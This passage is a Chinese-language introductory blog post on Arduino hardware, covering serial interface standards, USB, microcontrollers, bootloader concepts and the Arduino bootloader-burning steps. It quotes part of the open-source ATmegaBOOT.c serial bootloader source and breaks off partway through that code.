神刀安全网

Arduino、bootloader、及其相关硬件知识入门学习

catalogue

 0. 引言 1. 串行接口 2. USB 3. 单片机 4. BootLoader 5. PWM(脉宽调制 Pulse Width Modulation) 6. EEPROM 7. LCD1602 8.  蜂鸣器、喇叭 9. 直流电机(direct current machine) 10. USB接口芯片 11. arduino系列产品 12. ICSP(In-Circuit Serial Programming 在线串行编程) 13. 人体传感器 14. CMOS 15. HID/ BADUSB 16. Bootloader烧写 

0. 引言

很久没在blog里说这些乱七八糟的话,这段时间研究arduino硬件有些感触这里随便说两句

0x1: 硬件(片上)编程和在PC的ring3/ring0编程的异同

在PC上编程函数之间调用,尤其是在用户态,API之间的调用全都是"虚拟"的概念,即你调用的所有仅仅只是一个逻辑上的黑盒子,它会返回一个确定的逻辑结果(数字)。但是到了硬件这个层面,用电路的思维模式去理解函数调用和执行会更贴近实际一些,在硬件层面的API调用常常被翻译为对某些器件的操作,再往底层就是电路的与非门/锁存器/高低电位/译码的操作

程序员在进行硬件编程的时候,不能只专注于逻辑算法的构建和思考,更多地时候需要使用面向硬件器材特征/引脚/使能进行编程,更多的时候我们的代码是在对指定器材的管脚写入高低电位,并根据返回结果进行AD/DA/纯数字的判断,代码更专注的是使用硬件器材的"输入使能特征"并根据"响应电气特征"判断执行的结果(这点在进行传感器编程时尤其明显)

1. 串行接口

串行接口简称串口,也称串行通信接口或串行通讯接口(通常指COM接口),是采用串行通信方式的扩展接口

0x1: 定义

串行接口(Serial Interface) 是指数据一位一位地顺序传送,其特点是通信线路简单,只要一对传输线就可以实现双向通信(可以直接利用电话线作为传输线),从而大大降低了成本,特别适用于远距离通信,但传送速度较慢。一条信息的各位数据被逐位按顺序传送的通讯方式称为串行通讯

0x2: 特点

 1. 数据位的传送,按位顺序进行,最少只需一根传输线即可完成 2. 成本低但传送速度慢。串行通讯的距离可以从几米到几千米 3. 根据信息的传送方向,串行通讯可以进一步分为     1) 单工     2) 半双工     3) 全双工三种 

0x3: 接口划分标准

串口通信的两种最基本的方式

 1. 同步串行通信方式: 同步串行是指SPI(Serial Peripheral interface)的缩写,顾名思义就是串行外围设备接口。SPI总线系统是一种同步串行外设接口,它可以使MCU与各种外围设备以串行方式进行通信以交换信息 2. 异步串行通信方式: 异步串行是指UART(Universal Asynchronous Receiver/Transmitter),通用异步接收/发送。UART使一个并行输入成为串行输出的芯片,通常集成在主板上。UART包含     1) TTL电平的串口: TTL电平是3.3V的     2) RS232电平的串口: RS232是负逻辑电平,它定义+5~+12V为低电平,而-12~-5V为高电平 //MDS2710、MDS SD4、EL805等是RS232接口,EL806有TTL接口 

串行接口按电气标准及协议来分包括RS-232-C、RS-422、RS485等。RS-232-C、RS-422与RS-485标准只对接口的电气特性做出规定,不涉及接插件、电缆或协议

1. RS-232

也称标准串口,最常用的一种串行通讯接口。它是在1970年由美国电子工业协会(EIA)联合贝尔系统、调制解调器厂家及计算机终端生产厂家共同制定的用于串行通讯的标准。它的全名是"数据终端设备(DTE)和数据通讯设备(DCE)之间串行二进制数据交换接口技术标准"。传统的RS-232-C接口标准有22根线,采用标准25芯D型插头座(DB25),后来使用简化为9芯D型插座(DB9),现在应用中25芯插头座已很少采用RS-232采取不平衡传输方式,即所谓单端通讯。由于其发送电平与接收电平的差仅为2V至3V左右,所以其共模抑制能力差,再加上双绞线上的分布电容,其传送距离最大为约15米,最高速率为20kb/s。RS-232是为点对点(即只用一对收、发设备)通讯而设计的,其驱动器负载为3~7kΩ。所以RS-232适合本地设备之间的通信

Arduino、bootloader、及其相关硬件知识入门学习 Arduino、bootloader、及其相关硬件知识入门学习

2. RS-422

标准全称是"平衡电压数字接口电路的电气特性",它定义了接口电路的特性。典型的RS-422是四线接口。实际上还有一根信号地线,共5根线。其DB9连接器引脚定义。由于接收器采用高输入阻抗和发送驱动器比RS232更强的驱动能力,故允许在相同传输线上连接多个接收节点,最多可接10个节点。即一个主设备(Master),其余为从设备(Slave),从设备之间不能通信,所以RS-422支持点对多的双向通信。接收器输入阻抗为4k,故发端最大负载能力是10 x 4k + 100Ω(终接电阻)。RS-422四线接口由于采用单独的发送和接收通道,因此不必控制数据方向,各装置之间任何必须的信号交换均可以按软件方式(XON/XOFF握手)或硬件方式(一对单独的双绞线)实现RS-422的最大传输距离为1219米,最大传输速率为10Mb/s。其平衡双绞线的长度与传输速率成反比,在100kb/s速率以下,才可能达到最大传输距离。只有在很短的距离下才能获得最高速率传输。一般100米长的双绞线上所能获得的最大传输速率仅为1Mb/s

Arduino、bootloader、及其相关硬件知识入门学习

3. RS-485

是从RS-422基础上发展而来的,所以RS-485许多电气规定与RS-422相仿。如都采用平衡传输方式、都需要在传输线上接终接电阻等。RS-485可以采用二线与四线方式,二线制可实现真正的多点双向通信,而采用四线连接时,与RS-422一样只能实现点对多的通信,即只能有一个主(Master)设备,其余为从设备,但它比RS-422有改进,无论四线还是二线连接方式总线上可多接到32个设备
RS-485与RS-422的不同还在于其共模输出电压是不同的,RS-485是-7V至+12V之间,而RS-422在-7V至+7V之间,RS-485接收器最小输入阻抗为12kΩ、RS-422是4kΩ;由于RS-485满足所有RS-422的规范,所以RS-485的驱动器可以在RS-422网络中应用
RS-485与RS-422一样,其最大传输距离约为1219米,最大传输速率为10Mb/s。平衡双绞线的长度与传输速率成反比,在100kb/s速率以下,才可能使用规定最长的电缆长度。只有在很短的距离下才能获得最高速率传输。一般100米长双绞线最大传输速率仅为1Mb/s

Arduino、bootloader、及其相关硬件知识入门学习

0x4: 串口的应用

 1. 交换机的串口: 交换机的串口的英文就是trunk;是用来做下一跳路由转换用的。每个VLAN只有通过与TRUNK的路由指向后才能上外网 目前较为常用的串口有9针串口(DB9)和25针串口(DB25),通信距离较近时(<12m),可以用电缆线直接连接标准RS232端口(RS422,RS485较远),若距离较远,需附加调制解调器(MODEM)或其他相关设备。最为简单且常用的是三线制接法,即地、接收数据和发送数据三脚相连  2. 电脑主板串口: 进行串行传输的接口,它一次只能传输1Bit。串行端口可以用于连接外置调制解调器、绘图仪或串行打印机。它也可以控制台连接的方式连接网络设备,例如路由器和交换机,主要用来配置它们 

Relevant Link:

 http://baike.baidu.com/view/161117.htm?fromtitle=%E4%B8%B2%E5%8F%A3&fromid=1250303&type=syn 

2. USB

USB(Universal Serial Bus 通用串行总线)的缩写,而其中文简称为"通串线",是一个外部总线标准,用于规范电脑与外部设备的连接和通讯。是应用在PC领域的接口技术。USB接口支持设备的即插即用和热插拔功能。USB是在1994年底由英特尔、康柏、IBM、Microsoft等多家公司联合提出的。
从1994年11月11日发表了USB V0.7版本以后,USB版本经历了多年的发展,已经发展为3.1版本,成为二十一世纪电脑中的标准扩展接口。当前主板中主要是采用USB2.0和USB3.0接口,各USB版本间能很好的兼容。USB用一个4针(USB3.0标准为9针)插头作为标准插头,采用菊花链形式可以把所有的外设连接起来,最多可以连接 127个外部设备,并且不会损失带宽
USB需要主机硬件、操作系统和外设三个方面的支持才能工作。二十一世纪的主板一般都采用支持USB功能的控制芯片组,主板上也安装有USB接口插座,而且除了背板的插座之外,主板上还预留有USB插针,可以通过连线接到机箱前面作为前置USB接口以方便使用。而且USB接口还可以通过专门的USB连机线实现双机互连,并可以通过Hub扩展出更多的接口。USB具有传输速度快,使用方便,支持热插拔,连接灵活,独立供电等优点,可以连接鼠标、键盘、打印机、扫描仪、摄像头、充电器、闪存盘、MP3机、手机、数码相机、移动硬盘、外置光驱/软驱、USB网卡、ADSL Modem、Cable Modem等,几乎所有的外部设备

USB版本 最大传输速率 速率称号 最大输出电流 推出时间
USB1.0 1.5Mbps(192KB/s) 低速(Low-Speed) 5V/500mA 1996年1月
USB1.1 12Mbps(1.5MB/s) 全速(Full-Speed) 5V/500mA 1998年9月
USB2.0 480Mbps(60MB/s) 高速(High-Speed) 5V/500mA 2000年4月
USB3.0 5Gbps(500MB/s) 超高速(Super-Speed) 5V/900mA 2008年11月
USB 3.1 10Gbps(1280MB/s) [2] 超高速+(Super-speed+) 20V/5A 2013年12月

0x1: 软件结构

每个USB只有一个主机,它包括以下几层

 1. USB总线接口: USB总线接口处理电气层与协议层的互连 2. USB系统: USB系统用主控制器管理主机与USB设备间的数据传输,它与主控制器间的接口依赖于主控制器的硬件定义。同时,USB系统也负责管理USB资源,例如带宽和总线能量,这使得客户访问USB成为可能 3. USB客户软件: 位于软件结构的最高层,负责处理特定USB设备驱动器。客户程序层描述所有直接作用于设备的软件入口。当设备被系统检测到后,这些客户程序将直接作用于外围硬件  

0x2: 硬件结构

从硬件结构来说,USB系统采用级联星型拓扑(菊花链),该拓扑由三个基本部分组成: 主机(Host)、集线器(Hub)和功能设备

 1. 主机,也称为根、根结点或根Hub,做在计算机主板上或作为适配卡安装在计算机上。主机包含有主控制器和根集线器(Root Hub),控制USB总线上数据和控制信息的流动,每个USB系统只能有一个根集线器,它连接在主控制器上  2. 集线器是USB结构中的特定部分,它提供端口(Port),以便将设备连接到USB接口上,同时检测连接在总线上的设备,并为这些设备提供电源管理,负责总线的故障检测和恢复。 3. 功能设备通过端口与总线连接  

0x3: 数据传输模式

主控制器负责主机与USB设备间数据流的传输,这些传输数据被当作连续的比特流。每个设备提供了一个或多个可以与客户程序通信的接口,每个接口由0个或多个管道组成,它们分别独立地在客户程序与设备的特定终端间传输数据。通用串行总线驱动程序(USBD)为主机软件的现实需求建立了接口和管道,当提出配置请求时,主控制器根据主机软件提供的参数提供服务USB支持四种基本的数据传输模式: 控制传输、等时传输、中断传输、数据块传输。每种传输模式应用到同名终端,则具有不同的性质

 1. 控制传输类型: 支持外设与主机之间的控制、状态、配置等信息的传输,为外设与主机之间提供一个控制通道。每种外设都支持控制传输类型,这样主机与外设之间就可以传送配置和命令/状态信息 2. 等时(Isochronous)传输类型: 支持有周期性、有限的时延和带宽、且数据传输速率不变的外设与主机间的数据传输。该类型无差错校验,故不能保证正确的数据传输,支持诸如计算机-电话集成系统(CTI)、音频系统与主机的数据传输   3. 中断传输类型: 支持诸如游戏手柄、鼠标、键盘等输入设备,这些设备与主机间的数据传输量小,无周期性,但对响应时间敏感,要求马上响应  4. 数据块(Bulk)传输类型: 支持打印机、扫描仪、数码相机等外设,这些外设与主机间的数据传输量大,USB在满足带宽的情况下才进行该类型的数据传输  

Relevant Link:

 http://baike.baidu.com/item/usb http://share.onlinesjtu.com/mod/tab/view.php?id=282 

3. 单片机

单片机(Microcontrollers)是一种集成电路芯片,是采用超大规模集成电路技术把具有数据处理能力的中央处理器CPU、随机存储器RAM、只读存储器ROM、多种I/O口和中断系统、定时器/计数器等功能(可能还包括显示驱动电路、脉宽调制电路、模拟多路转换器、A/D转换器等电路)集成到一块硅片上构成的一个小而完善的微型计算机系统,在工业控制领域广泛应用。从上世纪80年代,由当时的4位、8位单片机,发展到现在的300M的高速单片机
单片机又称单片微控制器,它不是完成某一个逻辑功能的芯片,而是把一个计算机系统集成到一个芯片上。相当于一个微型的计算机,和计算机相比,单片机只缺少了I/O设备。概括的讲: 一块芯片就成了一台计算机。它的体积小、质量轻、价格便宜、为学习、应用和开发提供了便利条件。同时,学习使用单片机是了解计算机原理与结构的最佳选择
单片机的使用领域已十分广泛,如智能仪表、实时工控、通讯设备、导航系统、家用电器等。各种产品一旦用上了单片机,就能起到使产品升级换代的功效,常在产品名称前冠以形容词:"智能型",如智能型洗衣机等

0x2: 应用分类

单片机(Microcontrollers)作为计算机发展的一个重要分支领域,根据发展情况,从不同角度,单片机大致可以分为通用型/专用型、总线型/非总线型及工控型/家电型

 1. 通用型: 这是按单片机(Microcontrollers)适用范围来区分的。例如,80C51式通用型单片机,它不是为某种专门用途设计的 2. 专用型: 针对一类产品甚至某一个产品设计生产的,例如为了满足电子体温计的要求,在片内集成ADC接口等功能的温度测量控制电路 3. 总线型: 这是按单片机(Microcontrollers)是否提供并行总线来区分的。总线型单片机普遍设置有并行地址总线、数据总线、控制总线,这些引脚用以扩展并行外围器件都可通过串行口与单片机连接 4. 非总线型: 许多单片机已把所需要的外围器件及外设接口集成到片内,因此在许多情况下可以不要并行扩展总线,大大减省封装成本和芯片体积,这类单片机称为非总线型单片机 5. 控制型: 这是按照单片机(Microcontrollers)大致应用的领域进行区分的。一般而言,工控型寻址范围大,运算能力强 6. 专用型: 用于家电的单片机多为专用型,通常是小封装、低价格,外围器件和外设接口集成度高 

上述分类并不是惟一的和严格的。例如,80C51类单片机既是通用型又是总线型,还可以作工控用

0x3: 发展历史

单片机(Microcontrollers)诞生于1971年,经历了SCM、MCU、SoC三大阶段,早期的SCM单片机都是8位或4位的。其中最成功的是INTEL的8051,此后在8051上发展出了MCS51系列MCU系统。基于这一系统的单片机系统直到现在还在广泛使用。随着工业控制领域要求的提高,开始出现了16位单片机,但因为性价比不理想并未得到很广泛的应用。90年代后随着消费电子产品大发展,单片机技术得到了巨大提高。随着INTEL i960系列特别是后来的ARM系列的广泛应用,32位单片机迅速取代16位单片机的高端地位,并且进入主流市场。
而传统的8位单片机的性能也得到了飞速提高,处理能力比起80年代提高了数百倍。高端的32位Soc单片机主频已经超过300MHz,性能直追90年代中期的专用处理器,而普通的型号出厂价格跌落至1美元,最高端的型号也只有10美元
当代单片机系统已经不再只在裸机环境下开发和使用,大量专用的嵌入式操作系统被广泛应用在全系列的单片机上。而在作为掌上电脑和手机核心处理的高端单片机甚至可以直接使用专用的Windows和Linux操作系统

 1. 早期阶段: SCM即单片微型计算机(Microcontrollers)阶段,主要是寻求最佳的单片形态嵌入式系统的最佳体系结构。"创新模式"获得成功,奠定了SCM与通用计算机完全不同的发展道路。在开创嵌入式系统独立发展道路上,Intel公司功不可没  2. 中期发展: MCU即微控制器(Micro Controller Unit)阶段,主要的技术发展方向是:不断扩展满足嵌入式应用时,对象系统要求的各种外围电路与接口电路,突显其对象的智能化控制能力。它所涉及的领域都与对象系统相关,因此,发展MCU的重任不可避免地落在电气、电子技术厂家。从这一角度来看,Intel逐渐淡出MCU的发展也有其客观因素。在发展MCU方面,最著名的厂家当数Philips公司 Philips公司以其在嵌入式应用方面的巨大优势,将MCS-51从单片微型计算机迅速发展到微控制器 3. 当前趋势: SoC嵌入式系统(System on Chip)式的独立发展之路,向MCU阶段发展的重要因素,就是寻求应用系统在芯片上的最大化解决,因此,专用单片机的发展自然形成了SoC化趋势。随着微电子技术、IC设计、EDA工具的发展,基于SoC的单片机应用系统设计会有较大的发展。因此,对单片机的理解可以从单片微型计算机、单片微控制器延伸到单片应用系统  

Relevant Link:

 http://baike.baidu.com/link?url=F8tt5GkAhoWkcpi5fzdK7-CaSwGU46kqL0jf_1Sh_pBw7bx1DqFUMcdafB1hDcydxgGPgkEbj7p6yP48wnfubq 

4. BootLoader

在嵌入式操作系统中,BootLoader是在操作系统内核运行之前运行。可以初始化硬件设备、建立内存空间映射图,从而将系统的软硬件环境带到一个合适状态,以便为最终调用操作系统内核准备好正确的环境。在嵌入式系统中,通常并没有像BIOS那样的固件程序(注,有的嵌入式CPU也会内嵌一段短小的启动程序),因此整个系统的加载启动任务就完全由BootLoader来完成。在一个基于ARM7TDMI core的嵌入式系统中,系统在上电或复位时通常都从地址0x00000000处开始执行,而在这个地址处安排的通常就是系统的BootLoader程序
Bootloader是嵌入式系统在加电后执行的第一段代码,在它完成CPU和相关硬件的初始化之后,再将操作系统映像或固化的嵌入式应用程序装在到内存中然后跳转到操作系统所在的空间,启动操作系统运行
对于嵌入式系统,Bootloader是基于特定硬件平台来实现的。因此,几乎不可能为所有的嵌入式系统建立一个通用的Bootloader,不同的处理器架构都有不同的Bootloader。Bootloader不但依赖于CPU的体系结构,而且依赖于嵌入式系统板级设备的配置。对于2块不同的嵌入式板而言,即使它们使用同一种处理器,要想让运行在一块板子上的Bootloader程序也能运行在另一块板子上,一般也都需要修改Bootloader的源程序。
反过来,大部分Bootloader仍然具有很多共性,某些Bootloader也能够支持多种体系结构的嵌入式系统。例如,U-Boot就同时支持PowerPC、ARM、MIPS和X86等体系结构,支持的板子有上百种。通常,它们都能够自动从存储介质上启动,都能够引导操作系统启动,并且大部分都可以支持串口和以太网接口
在专用的嵌入式板子运行GNU/Linux系统已经变得越来越流行。一个嵌入式Linux系统从软件的角度看通常可以分为四个层次

 1. 引导加载程序。包括固化在固件(firmware)中的boot代码(可选),和BootLoader两大部分 2. Linux内核。特定于嵌入式板子的定制内核以及内核的启动参数 3. 文件系统。包括根文件系统和建立于Flash内存设备之上文件系统。通常用ramdisk来作为rootfs。 4. 用户应用程序。特定于用户的应用程序。有时在用户应用程序和内核层之间可能还会包括一个嵌入式图形用户界面。常用的嵌入式GUI有:MicroWindows和MiniGUI等 

通常,BootLoader是严重地依赖于硬件而实现的,特别是在嵌入式世界。因此,在嵌入式世界里建立一个通用的BootLoader几乎是不可能的。尽管如此,我们仍然可以对bootloader归纳出一些通用的概念来,以指导用户特定的BootLoader设计与实现

0x1: 操作模式

 1. 自启动模式: 在这种模式下,bootloader从目标机上的某个固态存储设备上将操作系统加载到RAM中运行,整个过程并没有用户的介入 2. 交互模式: 在这种模式下,目标机上的bootloader将通过串口或网络等通行手段从开发主机(Host)上下载内核映像等到RAM中。可以被bootloader写到目标机上的固态存储媒质中,或者直接进入系统的引导。也可以通过串口接收用户的命令  

0x2: 启动过程

Bootloader启动大多数都分为两个阶段

 2. 第一阶段: 主要包含依赖于CPU的体系结构硬件初始化的代码,通常都用汇编语言来实现。这个阶段的任务有     1) 基本的硬件设备初始化(屏蔽所有的中断、关闭处理器内部指令/数据Cache等),在第一阶段中为什么要关闭Cache?通常使用Cache以及写缓冲是为了提高系统性能,但由于Cache的使用可能改变访问主存的数量、类型和时间,因此Bootloader通常是不需要的     2) 为第二阶段准备RAM空间     3) 如果是从某个固态存储媒质中,则复制Bootloader的第二阶段代码到RAM     4) 设置堆栈     5) 跳转到第二阶段的C程序入口点  2. 第二阶段: 通常用C语言完成,以便实现更复杂的功能,也使程序有更好的可读性和可移植性。这个阶段的任务有     1) 初始化本阶段要使用到的硬件设备     2) 检测系统内存映射     3) 将内核映像和根文件系统映像从Flash读到RAM     4) 为内核设置启动参数     5) 调用内核 

0x3: 常见的Bootloader

 4.1 Redboot 4.2 ARMboot 4.3 U-Boot 4.4 Blob 4.5 Bios-lt 4.6 Bootldr 4.7 vivi 4.8 DSP的BootLoader 

0x4: arduino bootloader

在arduino的板子上,作为核心的avr单片机往往都会烧录一个bootloader,这个叫做bootloader的东东其实是arduino研发团队针对arduino板子开发的一小段代码,借助于这段代码,我们可以在不用外部烧录工具的情况下来把我们自己的代码下载到AVR单片机中。为了使一些朋友更容易理解,不妨打个比方,bootloader类似于我们电脑中的windows操作系统,而我们的代码则类似于运行于windows上的各种程序
一般而言,arduino板的卖家都会把每块板的bootloader都烧好后再出售,这样买家直接收到板后就能够把自己在arduino IDE中编写的程序借助PC的USB口来下载到arduino单片机内

 类比于操作系统的本质作用是驱动硬件,完成上层应用的需求,对于单片机的bootloader也一样,不同的bootloader具备不同的能力,例如机器人和自动工控设备、模拟键盘上的bootloader肯定是不一样的,这可以理解为bootloader内核提供了不同的系统调用接口 

0x5: Bootloader的各个版本

Bootloader有各种各样的版本,因为要在各种不同的硬件上运行,也因为本身在不断地升级、变化
Diecimila和NG(ATmega168)Bootloader的当前版本(如Arduino 0009版自带的)几乎完全相同。以上两者的Bootloader均在19200的波特率下工作,并且占用ATmega168上2K的Flash内存。仅有的区别,就是Bootloader等待新程序到来的时间和开始运行时13脚上LED闪烁的次数。由于Diecimila的自动重启,其Bootloader仅需要等待非常短的时间(少于一秒),为了节约时间,并且仅闪烁13脚LED一次。NG的Bootloader需要等待6至8秒,并且闪烁3次
Arduino NG自带的Bootloader有一点点不同。它启用了6脚的内置上拉电阻,而没有启动RX脚的内置上拉电阻。因此,若在重启NG之后,就立即向它发送数据,会导致它无法正常启动板上的程序,也不会因为收到无效数据就超时退出
Arduino BT的Bootloader会做一些蓝牙模块的初始化工作
ATmega8的Bootloader仅占用1K的Flash空间。当它收到无效数据时不会超时退出,因此需要确保在Bootloader运行的6至8秒中,不能向它发送数据
一些早期的Bootloader版本运行在9600波特率下(而不是19200)。为了正常下载程序,需要修改preferences file文件中的serail.download/_rate参数值为9600

0x6: Bootloader运行原理

Arduino IDE菜单里的"Burn Bootloader"命令使用的是一款开源工具: avrdude,共有4步

 1. 解锁芯片上的Bootloader区 2. 设置芯片的熔丝位 3. 下载Bootloader程序到芯片上 4. 锁住芯片上的Bootloader区 

这些步骤由Arduino配置文件中的一些设置决定,以ATmega8为例,决定以上步骤的设置是

 1. bootloader.atmega8.programmer(默认: stk500): bootloader使用的协议 2. bootloader.atmega8.unlock_bits(默认: 0xFF)为解锁Bootloader区而向ATmega8锁位写入的值 3. bootloader.atmega8.high_fuses(默认: 0xca)写入Atmega8熔丝位中的高位值 4. bootloader.atmega8.low_fuses(默认: 0xdf)写入Atmega8熔丝位中的低位值 5. bootloader.atmega8.path(默认: bootloader)包含编译好的bootloader路径(相对于Arduino的安装目录) 6. bootloader.atmega8.file(默认: ATmegaBOOT.hex)编译好的Bootloader文件名(在bootloader.path目录里) 7. bootloader.atmega8.lock_bits(默认: 0x0F)锁住Bootloader区时向Arduino锁位写的值(这样Bootloader才不会被新上传的程序覆盖) 

ATmegaBOOT.c

 /**********************************************************/ /* Serial Bootloader for Atmel mega8 AVR Controller       */ /*                                                        */ /* ATmegaBOOT.c                                           */ /*                                                        */ /* Copyright (c) 2003, Jason P. Kyle                      */ /*                                                        */ /* Hacked by DojoCorp - ZGZ - MMX - IVR                   */ /* Hacked by David A. Mellis                              */ /*                                                        */ /* This program is free software; you can redistribute it */ /* and/or modify it under the terms of the GNU General    */ /* Public License as published by the Free Software       */ /* Foundation; either version 2 of the License, or        */ /* (at your option) any later version.                    */ /*                                                        */ /* This program is distributed in the hope that it will   */ /* be useful, but WITHOUT ANY WARRANTY; without even the  */ /* implied warranty of MERCHANTABILITY or FITNESS FOR A   */ /* PARTICULAR PURPOSE.  See the GNU General Public        */ /* License for more details.                              */ /*                                                        */ /* You should have received a copy of the GNU General     */ /* Public License along with this program; if not, write  */ /* to the Free Software Foundation, Inc.,                 */ /* 59 Temple Place, Suite 330, Boston, MA  02111-1307 USA */ /*                                                        */ /* Licence can be viewed at                               */ /* http://www.fsf.org/licenses/gpl.txt                    */ /*                                                        */ /* Target = Atmel AVR m8                                  */ /**********************************************************/  #include <inttypes.h> #include <avr/io.h> #include <avr/pgmspace.h> #include <avr/eeprom.h> #include <avr/interrupt.h> #include <util/delay.h>  //#define F_CPU            16000000  /* We, Malmoitians, like slow interaction  * therefore the slow baud rate 😉  */ //#define BAUD_RATE        9600  /* 6.000.000 is more or less 8 seconds at the  * speed configured here  */ //#define MAX_TIME_COUNT    6000000 #define MAX_TIME_COUNT (F_CPU>>1) ///#define MAX_TIME_COUNT_MORATORY    1600000  /* SW_MAJOR and MINOR needs to be updated from time to time to avoid warning message from AVR Studio */ #define HW_VER     0x02 #define SW_MAJOR 0x01 #define SW_MINOR 0x12  // AVR-GCC compiler compatibility // avr-gcc compiler v3.1.x and older doesn't support outb() and inb() //      if necessary, convert outb and inb to outp and inp #ifndef outb     #define outb(sfr,val)  (_SFR_BYTE(sfr) = (val)) #endif #ifndef inb     #define inb(sfr) _SFR_BYTE(sfr) #endif  /* defines for future compatibility */ #ifndef cbi     #define cbi(sfr, bit) (_SFR_BYTE(sfr) &= ~_BV(bit)) #endif #ifndef sbi     #define sbi(sfr, bit) (_SFR_BYTE(sfr) |= _BV(bit)) #endif  /* Adjust to suit whatever pin your hardware uses to enter the bootloader */ #define eeprom_rb(addr)   eeprom_read_byte ((uint8_t *)(addr)) #define eeprom_rw(addr)   eeprom_read_word ((uint16_t *)(addr)) #define eeprom_wb(addr, val)   eeprom_write_byte ((uint8_t *)(addr), (uint8_t)(val))  /* Onboard LED is connected to pin PB5 */ #define LED_DDR  DDRB #define LED_PORT PORTB #define LED_PIN  PINB #define LED      PINB5   #define SIG1    0x1E    // Yep, Atmel is the only manufacturer of AVR micros.  Single source :( #define SIG2    0x93 #define SIG3    0x07 #define PAGE_SIZE    0x20U    //32 words   void putch(char); char getch(void); void getNch(uint8_t); void byte_response(uint8_t); void nothing_response(void);  union address_union {   uint16_t word;   uint8_t  byte[2]; } address;  union length_union {   uint16_t word;   uint8_t  byte[2]; } length;  struct flags_struct {   unsigned eeprom : 1;   unsigned rampz  : 1; } flags;  uint8_t buff[256]; //uint8_t address_high;  uint8_t pagesz=0x80;  uint8_t i; //uint8_t bootuart0=0,bootuart1=0;   void (*app_start)(void) = 0x0000;  int main(void) {   uint8_t ch,ch2;   uint16_t w;    //cbi(BL_DDR,BL);   //sbi(BL_PORT,BL);    asm volatile("nop/n/t");    /* check if flash is programmed already, if not start bootloader anyway */   //if(pgm_read_byte_near(0x0000) != 0xFF) {      /* check if bootloader pin is set low */     //if(bit_is_set(BL_PIN,BL)) app_start();   //}    /* initialize UART(s) depending on CPU defined */   /* m8 */   UBRRH = (((F_CPU/BAUD_RATE)/16)-1)>>8;     // set baud rate   UBRRL = (((F_CPU/BAUD_RATE)/16)-1);   UCSRB = (1<<RXEN)|(1<<TXEN);  // enable Rx & Tx   UCSRC = (1<<URSEL)|(1<<UCSZ1)|(1<<UCSZ0);  // config USART; 8N1    //UBRRL = (uint8_t)(F_CPU/(BAUD_RATE*16L)-1);   //UBRRH = (F_CPU/(BAUD_RATE*16L)-1) >> 8;   //UCSRA = 0x00;   //UCSRC = 0x86;   //UCSRB = _BV(TXEN)|_BV(RXEN);     /* this was giving uisp problems, so I removed it; without it, the boot      works on with uisp and avrdude on the mac (at least). */   //putch('/0');    //uint32_t l;   //uint32_t time_count;   //time_count=0;    /* set LED pin as output */   sbi(LED_DDR,LED);     for (i = 0; i < 16; i++) {         outb(LED_PORT, inb(LED_PORT) ^ _BV(LED));         _delay_loop_2(0);     }          //for (l=0; l<40000000; l++)         //outb(LED_PORT, inb(LED_PORT) ^= _BV(LED));    /* flash onboard LED three times to signal entering of bootloader */   //for(i=0; i<3; ++i) {     //for(l=0; l<40000000; ++l);     //sbi(LED_PORT,LED);     //for(l=0; l<40000000; ++l);     //cbi(LED_PORT,LED);   //}   /* see comment at previous call to putch() */  //putch('/0'); // this line is needed for the synchronization of the programmer    /* forever */   for (;;) {     //if((inb(UCSRA) & _BV(RXC))){     /* get character from UART */         ch = getch();                  /* A bunch of if...else if... gives smaller code than switch...case ! */              /* Hello is anyone home ? */          if(ch=='0') {           nothing_response();         }              /* Request programmer ID */         /* Not using PROGMEM string due to boot block in m128 being beyond 64kB boundry  */         /* Would need to selectively manipulate RAMPZ, and it's only 9 characters anyway so who cares.  */         else if(ch=='1') {             if (getch() == ' ') {                 putch(0x14);                 putch('A');                 putch('V');                 putch('R');                 putch(' ');                 putch('I');                 putch('S');                 putch('P');                 putch(0x10);           }         }              /* AVR ISP/STK500 board commands  DON'T CARE so default nothing_response */         else if(ch=='@') {           ch2 = getch();           if (ch2>0x85) getch();           nothing_response();         }              /* AVR ISP/STK500 board requests */         else if(ch=='A') {           ch2 = getch();           if(ch2==0x80) byte_response(HW_VER);        // Hardware version           else if(ch2==0x81) byte_response(SW_MAJOR);    // Software major version           else if(ch2==0x82) byte_response(SW_MINOR);    // Software minor version           //else if(ch2==0x98) byte_response(0x03);        // Unknown but seems to be required by avr studio 3.56           else byte_response(0x00);                // Covers various unnecessary responses we don't care about         }              /* Device Parameters  DON'T CARE, DEVICE IS FIXED  */         else if(ch=='B') {           getNch(20);           nothing_response();         }              /* Parallel programming stuff  DON'T CARE  */         else if(ch=='E') {           getNch(5);           nothing_response();         }              /* Enter programming mode  */         else if(ch=='P') {           nothing_response();           // FIXME: modified only here by DojoCorp, Mumbai, India, 20050626           //time_count=0; // exted the delay once entered prog.mode         }              /* Leave programming mode  */         else if(ch=='Q') {           nothing_response();           //time_count=MAX_TIME_COUNT_MORATORY;     // once the programming is done,                                                  // we should start the application                                                 // but uisp has problems with this,                                                 // therefore we just change the times                                                 // and give the programmer 1 sec to react         }              /* Erase device, don't care as we will erase one page at a time anyway.  */         else if(ch=='R') {           nothing_response();         }              /* Set address, little endian. EEPROM in bytes, FLASH in words  */         /* Perhaps extra address bytes may be added in future to support > 128kB FLASH.  */         /* This might explain why little endian was used here, big endian used everywhere else.  */         else if(ch=='U') {           address.byte[0] = getch();           address.byte[1] = getch();           nothing_response();         }              /* Universal SPI programming command, disabled.  Would be used for fuses and lock bits.  */         else if(ch=='V') {           getNch(4);           byte_response(0x00);         }              /* Write memory, length is big endian and is in bytes  */         else if(ch=='d') {           length.byte[1] = getch();           length.byte[0] = getch();           flags.eeprom = 0;           if (getch() == 'E') flags.eeprom = 1;           for (w=0;w<length.word;w++) {             buff[w] = getch();                            // Store data in buffer, can't keep up with serial data stream whilst programming pages           }           if (getch() == ' ') {                 if (flags.eeprom) {                        //Write to EEPROM one byte at a time                     for(w=0;w<length.word;w++) {                         eeprom_wb(address.word,buff[w]);                         address.word++;                     }                             } else {                            //Write to FLASH one page at a time                     //if (address.byte[1]>127) address_high = 0x01;    //Only possible with m128, m256 will need 3rd address byte. FIXME                     //else address_high = 0x00;                                  //address.word = address.word << 1;            //address * 2 -> byte location                     //if ((length.byte[0] & 0x01)) length.word++;    //Even up an odd number of bytes                     cli();                    //Disable interrupts, just to be sure                     while(bit_is_set(EECR,EEWE));            //Wait for previous EEPROM writes to complete                     asm volatile(                              "clr    r17        /n/t"    //page_word_count                              "lds    r30,address    /n/t"    //Address of FLASH location (in words)                              "lds    r31,address+1    /n/t"                              "lsl r30                /n/t"  //address * 2 -> byte location                              "rol r31                /n/t"                               "ldi    r28,lo8(buff)    /n/t"    //Start of buffer array in RAM                              "ldi    r29,hi8(buff)    /n/t"                              "lds    r24,length    /n/t"    //Length of data to be written (in 